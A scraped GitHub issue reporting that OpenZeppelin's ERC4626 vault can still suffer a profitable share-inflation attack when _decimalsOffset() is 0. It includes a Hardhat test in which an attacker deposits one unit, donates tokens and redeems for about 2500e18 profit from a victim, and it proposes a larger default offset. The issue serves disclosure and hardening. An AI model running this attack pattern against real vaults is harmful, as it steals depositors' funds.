You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
If the offset is 0, the attacker loss is at least equal to the user’s deposit.
These two parts work together in enforcing the security of the vault.
First, the increased precision corresponds to a high rate,
which we saw is safer as it reduces the rounding error when computing the amount of shares.
Second, the virtual assets and shares (in addition to simplifying a lot of the computations)
capture part of the donation,
making it unprofitable for a developer to perform an attack.
I think when _decimalsOffset() is 0, one attacker can also get profits.
I made a test case, there are two accounts: Attacker and Victim.
Attacker deposits 1 asset to get 1 share
Attacker donates 10000e18 asset to the vault
Victim deposit 5000e18 asset for three times
Attacker redeem 1 share to get profits(About 2500e18 asset)
Here are test case code(Can insert the test code at ERC4626.test.js to have a test):
it.only('Inflation Attack',asyncfunction(){// Attacker: Spender, Victim: Recipient// Holder transfer token to victim(recipient)awaitthis.token.connect(this.holder).transfer(this.recipient,15000n*10n**18n);// Holder transfer token to attacker(spender)awaitthis.token.connect(this.holder).transfer(this.spender,20000n*10n**18n);constattackerOriginalTokenBalance=ethers.formatUnits(awaitthis.token.balanceOf(this.spender.address));// Attacker approves to vault to depositawaitthis.token.connect(this.spender).approve(this.vault.target,ethers.MaxUint256);// Depositconsole.log('Attacker deposits 1 asset');awaitthis.vault.connect(this.spender).deposit(1,this.spender.address);console.log('Attacker share: ',ethers.formatUnits(awaitthis.vault.balanceOf(this.spender.address)));console.log('Before donation, vault asset: ',ethers.formatUnits(awaitthis.vault.totalAssets()));console.log('Attacker donates 10000e18 asset to the vault');constdonationAmount=10000n*10n**18n;awaitthis.token.connect(this.spender).transfer(this.vault.target,donationAmount);console.log('After donation, vault asset: ',ethers.formatUnits(awaitthis.vault.totalAssets()));// Victim approves to vault to depositawaitthis.token.connect(this.recipient).approve(this.vault.target,ethers.MaxUint256);constvictimDepositedAmount=5000n*10n**18n;// Victim deposits by 3 times with 5000e18 assetsfor(leti=0;i<3;i++){console.log(`Victim deposits 5000e18 asset for the ${i+1} time`);awaitthis.vault.connect(this.recipient).deposit(victimDepositedAmount,this.recipient.address);console.log('Victim gets share amount: ',ethers.formatUnits(awaitthis.vault.balanceOf(this.recipient)));console.log('Vault asset: ',ethers.formatUnits(awaitthis.vault.totalAssets()));}// Victim has spent all assetexpect(awaitthis.token.balanceOf(this.recipient.address)).to.be.eq(0);console.log('Attacker original token balance: ',attackerOriginalTokenBalance);console.log('Attacker withdraw 1 share');awaitthis.vault.connect(this.spender).redeem(1,this.spender.address,this.spender.address);constattackerCurrentTokenBalance=ethers.formatUnits(awaitthis.token.balanceOf(this.spender.address));console.log('Attacker current token balances: ',attackerCurrentTokenBalance);console.log('Attacker gets token profits: ',attackerCurrentTokenBalance-attackerOriginalTokenBalance);console.log('Vault asset: ',ethers.formatUnits(awaitthis.vault.totalAssets()));});
So I think the description in the docs is a little inaccurate, when _decimalsOffset() is 0, there are still situations where profits can be made.
And how about setting a bigger default value for _decimalsOffset(), find a similar issue about this: #4774 but not quite the same.
The text was updated successfully, but these errors were encountered:
As the ERC4626 description
I think when
_decimalsOffset()
is 0, one attacker can also get profits.I made a test case, there are two accounts: Attacker and Victim.
Here are test case code(Can insert the test code at ERC4626.test.js to have a test):
The results are:
So I think the description in the docs is a little inaccurate, when
_decimalsOffset()
is 0, there are still situations where profits can be made.And how about setting a bigger default value for
_decimalsOffset()
, find a similar issue about this: #4774 but not quite the same.The text was updated successfully, but these errors were encountered: